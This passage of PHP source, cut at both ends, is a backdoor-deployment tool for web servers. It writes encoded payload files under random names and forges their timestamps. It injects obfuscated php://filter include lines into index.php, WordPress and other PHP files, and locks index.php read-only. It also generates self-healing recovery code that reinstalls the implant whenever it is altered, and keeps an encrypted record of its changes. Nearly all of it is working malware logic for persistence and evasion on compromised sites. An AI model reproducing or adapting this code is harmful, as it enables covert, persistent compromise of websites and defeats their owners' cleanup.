    $marker = isset($GLOBALS['MULTI_ANNOTATION']) ? (string)$GLOBALS['MULTI_ANNOTATION'] : 'pthk';
    $marker = preg_replace('/[*\/?>]/', '', $marker);   

    $types = array();
    $markerNonEmpty = ($marker !== '');
    $multiCount = mt_rand(1, 3);
    $need = $multiCount + ($markerNonEmpty ? 1 : 0);
    if ($cmtCount < $need) $cmtCount = min($need, $joins);
    if ($cmtCount < 1) $cmtCount = 1;

    $joinIdx = range(1, $joins);
    shuffle($joinIdx);
    $posSet = array_flip(array_slice($joinIdx, 0, $cmtCount));
    if ($markerNonEmpty && $cmtCount >= 2) $types[] = 'marker';
    $multiCount = min($multiCount, $cmtCount - count($types));
    $multiCount = max(1, $multiCount);
    for ($i = 0; $i < $multiCount; $i++) $types[] = 'multi';
    for ($i = count($types); $i < $cmtCount; $i++) $types[] = 'rand';
    shuffle($types);
    $typeIdx = 0;
    for ($k = 1; $k < count($chunks); $k++) {
        $out .= '.' . $chunks[$k];
        if (!isset($posSet[$k - 1])) continue;
        $t = $types[$typeIdx++];
        if ($t === 'multi') {
            $out .= '/*' . _me_rand_word($charset, $cl) . "\n" . _me_rand_word($charset, $cl) . '*/';
        } elseif ($t === 'marker') {
            $out .= '/*' . $marker . '*/';
        } else {
            $out .= '/*' . _me_rand_word($charset, $cl) . '*/';
        }
    }
    return $out;
}

function generate_include_line($payloadRelPath, $targetRelPath = '.') {
    global $_CMS_CWD_TYPE;

    $chain = get_filter_chain();

    $incPrefix = '@' . random_case_string('includ' . 'e_once') . '(';

    if ($_CMS_CWD_TYPE === 'root') {

        $fullString = "php://filter/read=$chain/resource=$payloadRelPath";
        $arg = obfuscate_chunked($fullString, 3, 6);
        return $incPrefix . $arg . ');';
    }

    $prefixArg = obfuscate_chunked("php://filter/read=$chain/resource=", 2, 3);
    $pathArg = obfuscate_chunked('/' . $payloadRelPath, 2, 3);
    $dirExpr = 'dirname($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\x46\x49\x4c\x45\x4e\x41\x4d\x45"])';
    $arg = $prefixArg . '.' . $dirExpr . '.' . $pathArg;
    return $incPrefix . $arg . ');';
}

function php_mode_at_eof($content) {

    $tokens = @token_get_all($content);
    if ($tokens === false) return false;
    $inPhp = false;
    foreach ($tokens as $t) {
        if (is_array($t)) {
            if ($t[0] === T_OPEN_TAG || $t[0] === T_OPEN_TAG_WITH_ECHO) $inPhp = true;
            elseif ($t[0] === T_CLOSE_TAG) $inPhp = false;
        }
    }
    return $inPhp;
}

function _me_nzstr($n) { return $n !== ''; }
function _me_nzarr($files) { return !empty($files); }
function _me_nonphp_ext($e) {
    $ext = strtolower(ltrim(pathinfo('x' . $e, PATHINFO_EXTENSION), '.'));
    return $ext !== 'php' && $ext !== 'phtml' && $ext !== 'php5' && $ext !== '';
}
function _me_rand_word($charset, $cl) {
    $w = '';
    $n = mt_rand(3, 5);
    for ($i = 0; $i < $n; $i++) $w .= $charset[mt_rand(0, $cl - 1)];
    return $w;
}

function _me_first_key($arr) {
    foreach ($arr as $k => $v) return $k;
    return null;
}

function is_dir_chmod_able($dir) {

    if (is_writable($dir)) return true;
    if (PHP_OS_FAMILY === 'Windows') return false;
    $old = @fileperms($dir);
    if ($old === false) return false;
    if (!@chmod($dir, 0755)) return false;
    $ok = is_writable($dir);
    @chmod($dir, $old);
    return $ok;
}

function write_file_with_swap($filePath, $content) {

    @chmod($filePath, 0644);
    if (@file_put_contents($filePath, $content) !== false) {
        return true;
    }

    $dir = dirname($filePath);
    $restoreDirMode = false;
    if (!is_writable($dir)) {
        $oldMode = @fileperms($dir);
        if ($oldMode === false || !@chmod($dir, 0755) || !is_writable($dir)) {
            if ($oldMode !== false) @chmod($dir, $oldMode);
            return false;
        }
        $restoreDirMode = $oldMode;
    }
    $base = basename($filePath);
    $tmp = $dir . '/.' . $base . '.tmp' . substr(md5(uniqid('', true)), 0, 8);
    $ok = false;
    if (@copy($filePath, $tmp) !== false
        && @file_put_contents($tmp, $content) !== false) {

        if (@rename($tmp, $filePath)) {
            $ok = true;
        } else {
            @unlink($filePath);
            if (@rename($tmp, $filePath)) $ok = true;
        }
    }
    if (!$ok) @unlink($tmp);
    if ($restoreDirMode !== false) @chmod($dir, $restoreDirMode);
    return $ok;
}

function find_top_level_function_lines($content) {

    $tokens = @token_get_all($content);
    if (!is_array($tokens) || empty($tokens)) return array();

    $depth = 0;
    $indices = array();
    $count = count($tokens);
    for ($i = 0; $i < $count; $i++) {
        $t = $tokens[$i];
        if (is_array($t)) {

            if ($t[0] === T_CURLY_OPEN || $t[0] === T_DOLLAR_OPEN_CURLY_BRACES) {
                $depth++;
                continue;
            }
            if ($t[0] === T_FUNCTION && $depth === 0) {

                $j = $i + 1;
                while (isset($tokens[$j])) {
                    $nt = $tokens[$j];
                    $txt = is_array($nt) ? $nt[1] : $nt;
                    if ($txt === '&') { $j++; continue; }
                    if (is_array($nt) && ($nt[0] === T_WHITESPACE || $nt[0] === T_COMMENT || $nt[0] === T_DOC_COMMENT)) { $j++; continue; }
                    break;
                }
                $next = isset($tokens[$j]) ? $tokens[$j] : null;
                if (is_array($next) && $next[0] === T_STRING) {
                    $indices[] = $t[2] - 1; 
                }
            }
        } else {

            if ($t === '{') {
                $depth++;
            } elseif ($t === '}') {
                $depth--;
                if ($depth < 0) $depth = 0;
            }
        }
    }
    return $indices;
}

function inject_into_file($siteRoot, $targetRelPath, $includeLine, $type) {
    $filePath = "$siteRoot/$targetRelPath";
    $filePath = str_replace('//', '/', $filePath);

    if (!is_file($filePath)) {

        if (basename($targetRelPath) === 'index.php') {
            $dir = dirname($filePath);
            $htmlPath = "$dir/index.html";
            if (is_file($htmlPath)) {
                $perms = @fileperms($dir);
                if ($perms !== false && ($perms & 0200) === 0) {
                    @chmod($dir, 0755);   
                    clearstatcache();
                }
                if (@rename($htmlPath, $filePath)) {
                    _log('INFO', "Static site: renamed index.html -> index.php in $dir, injecting");
                } else {
                    _log('ERROR', "Cannot rename index.html -> index.php in $dir (permissions?) - target skipped: $targetRelPath");
                    return null;
                }
            } else {
                _log('WARN', "Target file not found: $targetRelPath");
                return null;
            }
        } else {
            _log('WARN', "Target file not found: $targetRelPath");
            return null;
        }
    }

    $content = file_get_contents($filePath);

    if (strpos($content, $includeLine) !== false) {
        _log('INFO', "Already injected: $targetRelPath - skipping.");
        return ''; 
    }

    if ($type === 'fixed') {

        $isWP = (stripos($content, 'wp-blog-header.php') !== false
            || stripos($content, 'WP_USE_THEMES') !== false
            || is_file("$siteRoot/wp-config.php")
            || is_file("$siteRoot/wp-blog-header.php"));

        if ($targetRelPath === 'index.php' && $isWP) {

            $new = "<?php\n" . $includeLine . "\n" . substr(base64_decode(WP_INDEX_ORIGINAL), 6);
            if (!write_file_with_swap($filePath, $new)) {
                _log('ERROR', "Target not writable (file + dir): $targetRelPath");
                return null;
            }
            _log('INFO', "Rewritten $targetRelPath from clean WP original + include (fixed)");
            return $includeLine;
        }

        $bom = '';
        if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {
            $bom = "\xEF\xBB\xBF";
            $content = substr($content, 3);
        }

        if (strncmp($content, "<?php\n", 6) === 0) {
            $new = $bom . "<?php\n" . $includeLine . "\n" . substr($content, 6);
        } elseif (strncmp($content, "<?php\r\n", 7) === 0) {
            $new = $bom . "<?php\r\n" . $includeLine . "\r\n" . substr($content, 7);
        } elseif (strncmp($content, "<?php", 5) === 0) {
            $new = $bom . "<?php\n" . $includeLine . "\n" . substr($content, 5);
        } else {

            $new = $bom . "<?php " . $includeLine . " ?>\n" . $content;
            _log('INFO', "$targetRelPath has no PHP at line 1 - wrapped include in a PHP block and prepended.");
        }
        if (!write_file_with_swap($filePath, $new)) {
            _log('ERROR', "Target not writable (file + dir): $targetRelPath");
            return null;
        }
        _log('INFO', "Injected into $targetRelPath (fixed, after <?php)");
        return $includeLine;
    }

    if ($type === 'rand') {

        $lines = explode("\n", $content);
        $topLevelFuncIndices = find_top_level_function_lines($content);

        if (!empty($topLevelFuncIndices)) {
            $pick = $topLevelFuncIndices[array_rand($topLevelFuncIndices)];

            $funcLine = isset($lines[$pick]) ? $lines[$pick] : '';
            if (preg_match('/^(\s*)<\?php\b/i', $funcLine, $mm)) {
                $indent = $mm[1];
                $rest = preg_replace('/^\s*/', '', substr($funcLine, strlen($mm[0])));
                if (preg_match('/^declare\s*\([^;]*\)\s*;/i', $rest, $dm)) {
                    $newLine = $indent . '<?php ' . $dm[0] . "\n" . $includeLine . "\n" . substr($rest, strlen($dm[0]));
                } else {
                    $newLine = $indent . "<?php\n" . $includeLine . "\n" . $rest;
                }
                array_splice($lines, $pick, 1, $newLine);
                $new = implode("\n", $lines);
            } else {
                array_splice($lines, $pick, 0, $includeLine);
                $new = implode("\n", $lines);
            }
            if (!write_file_with_swap($filePath, $new)) {
                _log('ERROR', "Target not writable (file + dir): $targetRelPath");
                return null;
            }
            _log('INFO', "Injected into $targetRelPath before top-level function at line " . ($pick + 1) . " ('rand' mode)");
            return $includeLine;
        }

        _log('INFO', "No top-level function in $targetRelPath - appending at end of file.");

        $trimmed = rtrim($content);
        $prevChar = substr($trimmed, -3, 1);
        if (php_mode_at_eof($content)) {

            $new = $trimmed . "\n" . $includeLine . "\n";
        } elseif (substr($trimmed, -2) === '?>' && $prevChar !== '"' && $prevChar !== "'") {

            $prefix = rtrim(substr($trimmed, 0, -2));
            $new = ($prefix === '' ? '' : $prefix . "\n") . $includeLine . "\n?>";
        } else {

            $new = $trimmed . "\n<?php " . $includeLine . " ?>\n";
        }
        if (!write_file_with_swap($filePath, $new)) {
            _log('ERROR', "Target not writable (file + dir): $targetRelPath");
            return null;
        }
        return $includeLine;
    }

    _log('ERROR', "Unknown injection type: $type");
    return null;
}

function clean_target_file($siteRoot, $targetRelPath, $exactLine) {

    $filePath = "$siteRoot/$targetRelPath";
    $filePath = str_replace('//', '/', $filePath);

    if (!is_file($filePath)) {
        _log('WARN', "Target file not found for cleanup: $targetRelPath");
        return false;
    }

    if (!is_writable($filePath)) {
        @chmod($filePath, 0644);
    }

    $content = file_get_contents($filePath);
    $isWP = (stripos($content, 'wp-blog-header.php') !== false || stripos($content, 'WP_USE_THEMES') !== false);

    if ($targetRelPath === 'index.php' && $isWP && defined('WP_INDEX_ORIGINAL')) {

        file_put_contents($filePath, base64_decode(WP_INDEX_ORIGINAL));
        _log('INFO', "Restored $targetRelPath to clean WordPress original");
        return true;
    }

    if (strpos($content, $exactLine) === false) {
        _log('INFO', "$targetRelPath does not contain the inject line - already clean.");
        return true;
    }

    $new = str_replace($exactLine . "\n", '', $content);
    $new = str_replace($exactLine . "\r\n", '', $new);
    $new = str_replace($exactLine, '', $new);
    $new = preg_replace('/<\?php\s*\?>\r?\n?/', '', $new);
    $new = rtrim($new) . "\n";

    file_put_contents($filePath, $new);
    _log('INFO', "Removed inject line from $targetRelPath");
    return true;
}

function clean_target_file_legacy($siteRoot, $targetRelPath) {

    $filePath = "$siteRoot/$targetRelPath";
    $filePath = str_replace('//', '/', $filePath);

    if (!is_file($filePath)) return false;
    if (!is_writable($filePath)) @chmod($filePath, 0644);

    $content = file_get_contents($filePath);
    $lines = explode("\n", $content);
    $cleaned = array();

    $needle = '@' . 'includ' . 'e_once';
    foreach ($lines as $l) {
        if (stripos($l, $needle) === false) $cleaned[] = $l;
    }
    $new = implode("\n", $cleaned);
    $new = rtrim($new) . "\n";
    file_put_contents($filePath, $new);
    _log('INFO', "Legacy cleaned $targetRelPath");
    return true;
}

function info_encrypt($plaintext) {

    $key = $GLOBALS['INFO_KEY'];
    if (function_exists('openssl_encrypt')) {
        $iv  = openssl_random_pseudo_bytes(16);
        $cipher = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
        return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher);
    }
    if (function_exists('mcrypt_encrypt')) {

        $iv = '';
        for ($i = 0; $i < 16; $i++) $iv .= chr(crypto_rand_int(0, 255));
        $pad  = 16 - (strlen($plaintext) % 16);
        $data = $plaintext . str_repeat(chr($pad), $pad);
        $cipher = @mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);
        return $cipher === false ? null : 'ENC1:' . base64_encode($iv) . '.' . base64_encode($cipher);
    }
    return null;
}

function info_decrypt($payload) {

    if (strncmp($payload, 'ENC1:', 5) !== 0) return $payload;
    $key  = $GLOBALS['INFO_KEY'];
    $body = substr($payload, 5);
    $dot  = strpos($body, '.');
    if ($dot === false) return null;
    $iv     = base64_decode(substr($body, 0, $dot));
    $cipher = base64_decode(substr($body, $dot + 1));
    if ($iv === false || $cipher === false || strlen($iv) !== 16) return null;
    if (function_exists('openssl_decrypt')) {
        $plain = openssl_decrypt($cipher, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
        return $plain === false ? null : $plain;
    }
    if (function_exists('mcrypt_decrypt')) {
        $plain = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cipher, MCRYPT_MODE_CBC, $iv);
        if ($plain === false) return null;
        $pad = ord(substr($plain, -1));
        if ($pad >= 1 && $pad <= 16 && strlen($plain) >= $pad) {
            $plain = substr($plain, 0, -$pad);
        }
        return $plain;
    }
    return null;
}

function read_information_file($infoPath) {
    $result = array('mode' => null, 'time' => null, 'files' => array(), 'targets' => array(), 'injects' => array(), 'recover_files' => array(), 'recover_injects' => array(), 'recover_inject_lines' => array());
    if (!is_file($infoPath)) return $result;

    $plain = info_decrypt((string)file_get_contents($infoPath));
    if ($plain === null) {
        _log('WARN', "Could not decrypt $infoPath - treating as empty.");
        return $result;
    }

    foreach (preg_split('/\r\n|\r|\n/', $plain) as $line) {
        if ($line === '') continue;
        if (strncmp($line, 'MODE:', 5) === 0)       $result['mode']  = substr($line, 5);
        elseif (strncmp($line, 'TIME:', 5) === 0)   $result['time']  = substr($line, 5);
        elseif (strncmp($line, 'FILE:', 5) === 0)   $result['files'][] = substr($line, 5);
        elseif (strncmp($line, 'RECOVER_FILE:', 13) === 0)   $result['recover_files'][] = substr($line, 13);
        elseif (strncmp($line, 'INJECT:', 7) === 0) {
            $val = substr($line, 7);
            $pipe = strpos($val, '|');
            if ($pipe !== false) {
                $v = substr($val, $pipe + 1);

                if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4));
                $result['injects'][substr($val, 0, $pipe)] = $v;
            }
        }
        elseif (strncmp($line, 'TARGET:', 7) === 0) {
            $val = substr($line, 7);
            $pipe = strrpos($val, '|');
            if ($pipe !== false) {
                $result['targets'][substr($val, 0, $pipe)] = substr($val, $pipe + 1);
            } else {
                $result['targets'][$val] = '';
            }
        }
        elseif (strncmp($line, 'RECOVER_INJECT_LINE:', 20) === 0) {
            $val = substr($line, 20);
            $pipe = strpos($val, '|');
            if ($pipe !== false) {
                $v = substr($val, $pipe + 1);
                if (strncmp($v, 'B64:', 4) === 0) $v = base64_decode(substr($v, 4));
                $result['recover_inject_lines'][substr($val, 0, $pipe)] = $v;
            }
        }
        elseif (strncmp($line, 'RECOVER_INJECT:', 15) === 0) {
            $val = substr($line, 15);
            $pipe = strrpos($val, '|');
            if ($pipe !== false) {
                $result['recover_injects'][substr($val, 0, $pipe)] = substr($val, $pipe + 1);
            } else {
                $result['recover_injects'][$val] = '';
            }
        }
    }
    return $result;
}

function write_information_file($infoPath, $mode, $fileRelPaths, $targetHashes, $injectLines, $recoverFiles = array(), $recoverInject = array(), $recoverHashes = array()) {
    $lines = array("MODE:$mode", "TIME:" . date('Y-m-d H:i:s'));
    foreach ($fileRelPaths as $rp) $lines[] = "FILE:$rp";
    foreach ($recoverFiles as $rf) $lines[] = "RECOVER_FILE:$rf";
    foreach ($injectLines as $tpath => $inj) {
        $thash = isset($targetHashes[$tpath]) ? $targetHashes[$tpath] : '';
        $lines[] = "TARGET:$tpath|$thash";

        $lines[] = "INJECT:$tpath|B64:" . base64_encode($inj);
    }
    foreach ($recoverInject as $tpath => $inj) {
        $rhash = isset($recoverHashes[$tpath]) ? $recoverHashes[$tpath] : '';
        $lines[] = "RECOVER_INJECT:$tpath|$rhash";
        $lines[] = "RECOVER_INJECT_LINE:$tpath|B64:" . base64_encode($inj);
    }
    $plain = implode("\n", $lines) . "\n";

    $enc = info_encrypt($plain);
    file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain);
    _log('INFO', 'Written information.txt (' . count($fileRelPaths) . ' files, ' . count($injectLines) . ' targets'
        . ', ' . count($recoverFiles) . ' recover files, ' . count($recoverInject) . ' recover injects'
        . ($enc !== null ? ', AES-128-CBC encrypted' : ', PLAINTEXT fallback (no openssl)') . ')');
}

function do_add($scriptDir, $siteRoot, $infoPath, $count, $targetFiles) {
    _log('INFO', str_repeat('=', 50));
    _log('INFO', 'MODE: ADD');
    _log('INFO', str_repeat('=', 50));

    if (is_file($infoPath)) {
        _log('WARN', 'information.txt already exists - deployment already done. Skipping.');
        _log('WARN', 'Run with mode=remove first if you want to re-deploy.');
        return false;
    }

    $payload = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']);
    if (!$payload) {

        $GLOBALS['_PAYLOAD_MISSING'] = true;
        _log('ERROR', 'No payload file found. Aborting (script kept for re-run).');
        return false;
    }
    $GLOBALS['_PAYLOAD_RESOLVED'] = $payload;   

    $GLOBALS['_CMS_CWD_TYPE'] = detect_cms_cwd_type($siteRoot);
    $isWordPress = (is_file("$siteRoot/wp-config.php") || is_file("$siteRoot/wp-blog-header.php"));

    if ($isWordPress) {
        _log('INFO', 'WordPress detected - trying COMMON_FOLDERS first...');
        $selected = pick_from_common_folders($siteRoot, $count);
        if (count($selected) < $count) {
            $shortfall = $count - count($selected);
            _log('WARN', "Only " . count($selected) . "/$count COMMON_FOLDERS writable - filling $shortfall from scan...");
            $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $shortfall);
            $fallbackSelected = pick_distributed($pool, $shortfall);
            foreach ($fallbackSelected as $k => $v) {
                if (!isset($selected[$k])) $selected[$k] = $v;
            }
        }
    } else {
        _log('INFO', 'Non-WordPress site - using generic resource-folder scan...');
        $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], $count);
        if (empty($pool)) {
            _log('ERROR', 'No writable directories found. Aborting.');
            return false;
        }

        $selected = pick_distributed($pool, $count);
    }

    if (empty($selected)) {
        _log('ERROR', 'No writable directories found. Aborting.');
        return false;
    }

    $payloadRaw = @file_get_contents($payload);
    if ($payloadRaw === false) {
        _log('ERROR', 'Failed to read payload file.');
        return false;
    }

    $written = array();
    foreach ($selected as $relFolder => $filesStr) {
        $fullFolder = $siteRoot . '/' . $relFolder;
        $fullFolder = str_replace('//', '/', $fullFolder);

        $existing = @scandir($fullFolder);
        $existing = $existing ? array_diff($existing, array('.', '..')) : array();

        $newName = generate_random_filename($existing, $filesStr);
        $dstFull = str_replace('//', '/', "$fullFolder/$newName");

        _log('INFO', "Writing (encoded): $dstFull");
        if (write_encoded_payload($payloadRaw, $dstFull)) {
            $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName");
            $written[] = $relPath;
            _log('INFO', "  SUCCESS: $relPath");
            blend_file_mtime($dstFull);
        } else {
            _log('ERROR', "  FAILED: $dstFull");
        }
    }

    if (empty($written)) {
        _log('ERROR', 'No files written. Aborting.');
        return false;
    }

    $randCount = $GLOBALS['RAND_PHP_FILE'];
    $cmsType = detect_cms_type($siteRoot);
    if ($cmsType !== '') {
        _log('INFO', "CMS type detected: $cmsType");
    }
    $randomTargets = collect_random_targets($siteRoot, $cmsType, $randCount);

    $allTargets = $targetFiles;
    $existingPaths = array();
    foreach ($allTargets as $t) { $existingPaths[$t['path']] = true; }
    foreach ($randomTargets as $rt) {
        if (!isset($existingPaths[$rt['path']])) {
            $allTargets[] = $rt;
            $existingPaths[$rt['path']] = true;
        }
    }
    _log('INFO', 'Total injection targets: ' . count($allTargets) . ' (' . count($targetFiles) . ' configured + ' . count($randomTargets) . ' random)');

    $targetHashes = array();
    $injectLines = array();
    $indexPayloadRel = null;   
    foreach ($allTargets as $t) {
        $tpath = $t['path'];
        $ttype = $t['type'];

        $pickedPayload = $written[array_rand($written)];

        if ($tpath === 'index.php') {
            $indexPayloadRel = $pickedPayload;
        }
        $includeLine = generate_include_line($pickedPayload, $tpath);

        if (stripos($includeLine, '@' . 'includ' . 'e_once') !== 0) {
            _log('ERROR', "generate_include_line() returned a non-include line for $tpath - aborting: " . substr($includeLine, 0, 80));
            return false;
        }

        _log('INFO', "Injecting into target: $tpath (type=$ttype) <-- $pickedPayload");
        $result = inject_into_file($siteRoot, $tpath, $includeLine, $ttype);
        if ($result !== null) {
            $fullTargetPath = str_replace('//', '/', "$siteRoot/$tpath");
            $targetHashes[$tpath] = is_file($fullTargetPath) ? md5_file($fullTargetPath) : '';
            if ($result !== '') {
                $injectLines[$tpath] = $result;
            }
            _log('INFO', "  Hash ($tpath): " . $targetHashes[$tpath]);
            blend_file_mtime($fullTargetPath);
        }
    }

    if (empty($injectLines)) {
        _log('ERROR', 'Failed to inject into any target file.');
        return false;
    }

    if (isset($injectLines['index.php'])) {
        $indexPath = str_replace('//', '/', "$siteRoot/index.php");
        if (@chmod($indexPath, 0444)) {
            _log('INFO', 'index.php permissions set to 0444 (read-only)');
        } else {
            _log('WARN', 'Failed to set index.php to 0444');
        }
    }

    $recoverFiles = array();
    $recoverInject = array();
    $recoverHashes = array();
    if (!empty($GLOBALS['RECOVER_INDEX']) && !empty($GLOBALS['RECOVER_PHP_FILE'])) {
        $indexRel = 'index.php';
        $indexAbsPath = str_replace('//', '/', "$siteRoot/$indexRel");
        $idxContent = @file_get_contents($indexAbsPath);
        $indexB64 = $idxContent !== false ? base64_encode($idxContent) : '';
        $indexMd5 = $idxContent !== false ? md5($idxContent) : '';
        if ($indexB64 === '') {
            _log('WARN', 'Recovery: could not read index.php snapshot - skipping.');
        } else {

            $payloadRel = $indexPayloadRel;
            $payloadAbs = str_replace('//', '/', "$siteRoot/$payloadRel");
            $payloadBlob = @file_get_contents($payloadAbs);
            $payloadB64 = ($payloadBlob !== false && $payloadBlob !== '') ? base64_encode($payloadBlob) : '';
            $payloadMd5 = ($payloadBlob !== false && $payloadBlob !== '') ? md5($payloadBlob) : '';

            $sentinelTok = _me_recover_token(12);
            $cwdType = isset($GLOBALS['_CMS_CWD_TYPE']) ? $GLOBALS['_CMS_CWD_TYPE'] : 'unknown';

            if ($payloadB64 === '') {
                _log('WARN', 'Recovery: could not snapshot payload file ' . $payloadRel . ' - skipping.');
            } else {
                $deploy = deploy_recovery_code(
                    $siteRoot, $cmsType,
                    $indexRel, $indexB64, $indexMd5,
                    $payloadRel, $payloadB64, $payloadMd5,
                    $sentinelTok, $scriptDir
                );
                $files = !empty($deploy['recover_file']) ? array($deploy['recover_file']) : array();
                $recoverFiles = $files;
                $recoverInject = !empty($deploy['injects']) ? $deploy['injects'] : array();
                $recoverHashes = !empty($deploy['hashes']) ? $deploy['hashes'] : array();
            }
        }
    }

    write_information_file($infoPath, 'ADD', $written, $targetHashes, $injectLines, $recoverFiles, $recoverInject, $recoverHashes);

    _log('INFO', str_repeat('=', 50));
    _log('INFO', 'ADD done. ' . count($written) . ' files hidden, injected into ' . count($injectLines) . ' target(s).');
    foreach ($injectLines as $tp => $inj) {
        _log('INFO', "  $tp  MD5: " . $targetHashes[$tp]);
    }
    _log('INFO', str_repeat('=', 50));
    return true;
}

function do_remove($scriptDir, $siteRoot, $infoPath) {
    _log('INFO', str_repeat('=', 50));
    _log('INFO', 'MODE: REMOVE');
    _log('INFO', str_repeat('=', 50));

    $info = read_information_file($infoPath);
    $deleted = 0;

    foreach ($info['files'] as $rel) {
        $full = str_replace('//', '/', "$siteRoot/$rel");
        if (is_file($full)) {
            if (@unlink($full)) {
                $deleted++;
                _log('INFO', "Deleted: $rel");
            } else {
                _log('ERROR', "Delete failed: $rel");
            }
        } else {
            _log('WARN', "Not found: $rel");
        }
    }

    foreach ($info['recover_files'] as $rel) {
        $full = str_replace('//', '/', "$siteRoot/$rel");
        if (is_file($full)) {
            @unlink($full);
            _log('INFO', "Deleted recover file: $rel");
        } else {
            _log('WARN', "Recover file not found: $rel");
        }
    }

    if (!empty($info['recover_inject_lines'])) {
        foreach ($info['recover_inject_lines'] as $tpath => $exactLine) {
            clean_target_file($siteRoot, $tpath, $exactLine);
            _log('INFO', "Recovery inject cleaned from: $tpath");
        }
    }

    if (!empty($info['injects'])) {
        foreach ($info['injects'] as $tpath => $exactLine) {
            clean_target_file($siteRoot, $tpath, $exactLine);
        }
    } elseif (!empty($info['targets'])) {
        _log('INFO', 'No INJECT records - using legacy target cleanup.');
        foreach ($info['targets'] as $tpath => $thash) {
            clean_target_file_legacy($siteRoot, $tpath);
        }
    } else {
        _log('INFO', 'No targets to clean.');
    }

    if (is_file($infoPath)) {
        if (!empty($GLOBALS['RES_INFO'])) {
            @unlink($infoPath);
            _log('INFO', 'Removed information.txt');
        } else {
            _log('INFO', 'Kept information.txt (RES_INFO=false)');
        }
    }

    _log('INFO', str_repeat('=', 50));
    _log('INFO', "REMOVE done. $deleted files deleted.");
    _log('INFO', str_repeat('=', 50));
    return true;
}

function _me_recover_token($len = 6) {

    $c = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $t = '';
    for ($i = 0; $i < $len; $i++) { $t .= $c[mt_rand(0, strlen($c) - 1)]; }
    return $t;
}

function _me_recover_path_expr($relPath, $cwdType) {

    if ($cwdType === 'root') {
        return var_export($relPath, true);
    }
    $key = '"\\x53\\x43\\x52\\x49\\x50\\x54\\x5f\\x46\\x49\\x4c\\x45\\x4e\\x41\\x4d\\x45"';
    return 'dirname($_SERVER[' . $key . ']) . ' . var_export('/' . ltrim($relPath, '/'), true);
}

function _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn) {

    $code  = '';

    $code .= '  $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . '));' . "\n";

    $code .= '  if ($ok === false) { @chmod(' . $pathVar . ', 0644); $ok = @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n";

    $code .= '  if ($ok === false) { @chmod(' . $dirVar . ', 0755); @unlink(' . $pathVar . '); @file_put_contents(' . $pathVar . ', base64_decode(' . $b64Var . ')); }' . "\n";

    $code .= '  $mt = ' . $mtFn . '(' . $dirVar . ', \'\', ' . $pathVar . '); @touch(' . $pathVar . ', $mt);' . "\n";
    return $code;
}

function _me_recover_index_code($pathExpr, $b64, $md5, $token, $mtFn, $lockVar) {

    $pathVar = '$r' . $token . '_p';
    $b64Var  = '$r' . $token . '_b';
    $md5Var  = '$r' . $token . '_m';
    $nowVar  = '$r' . $token . '_n';
    $dirVar  = '$r' . $token . '_d';
    $code  = '';
    $code .= $pathVar . ' = ' . $pathExpr . ";\n";
    $code .= $b64Var  . ' = ' . var_export($b64, true) . ";\n";
    $code .= $md5Var  . ' = ' . var_export($md5, true) . ";\n";
    $code .= 'if ( @is_file(' . $pathVar . ') ) {' . "\n";
    $code .= '  ' . $nowVar . ' = @md5_file(' . $pathVar . ");\n";
    $code .= '  if ( ' . $nowVar . ' !== ' . $md5Var . " ) {\n";
    $code .= '    ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
    $code .= '    @chmod(' . $pathVar . ', 0644);' . "\n";
    $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
    $code .= '  }' . "\n";
    $code .= '} else {' . "\n";
    $code .= '  ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
    $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
    $code .= '}' . "\n";

    $code .= $lockVar . ' = ' . $pathVar . "; @chmod(" . $pathVar . ", 0444);\n";
    return $code;
}

function _me_recover_payload_code($pathExpr, $b64, $md5, $token, $mtFn) {

    $pathVar = '$r' . $token . '_p';
    $b64Var  = '$r' . $token . '_b';
    $md5Var  = '$r' . $token . '_m';
    $nowVar  = '$r' . $token . '_n';
    $dirVar  = '$r' . $token . '_d';
    $code  = '';
    $code .= $pathVar . ' = ' . $pathExpr . ";\n";
    $code .= $b64Var  . ' = ' . var_export($b64, true) . ";\n";
    $code .= $md5Var  . ' = ' . var_export($md5, true) . ";\n";
    $code .= $nowVar  . ' = @md5_file(' . $pathVar . ");\n";
    $code .= 'if ( !@is_file(' . $pathVar . ') || ' . $nowVar . ' !== ' . $md5Var . " ) {\n";
    $code .= '  ' . $dirVar . ' = @dirname(' . $pathVar . ");\n";
    $code .= _me_recover_write_code($pathVar, $b64Var, $dirVar, $mtFn);
    $code .= '}' . "\n";
    return $code;
}

function build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cwdType) {

    $mtName = '_r' . _me_recover_token() . '_mt';
    $mtBody = 'function ' . $mtName . '($d,$e,$s){'
        . '$f=@scandir($d);$m=array();'
        . 'if($f){foreach($f as $fx){'
        . 'if($fx===\'.\'||$fx===\'..\'){continue;}'
        . '$x=str_replace(\'//\',\'/\',$d.\'/\'.$fx);'
        . 'if($e!==\'\'&&strtolower(pathinfo($fx,PATHINFO_EXTENSION))!==$e){continue;}'
        . 'if(@realpath($x)===@realpath($s)){continue;}'
        . '$t=@filemtime($x);if($t!==false){$m[]=$t;}}}'
        . 'if(!empty($m)){return $m[array_rand($m)];}'
        . 'return time()-(1*365*86400)-rand(0,365*86400);}';

    $idxTok = _me_recover_token();
    $idxExpr = _me_recover_path_expr($indexRel, $cwdType);
    $code  = '<?php if(!defined("_' . $sentinelTok . '")){define("_' . $sentinelTok . '",1);' . "\n";
    $code .= $mtBody . "\n";
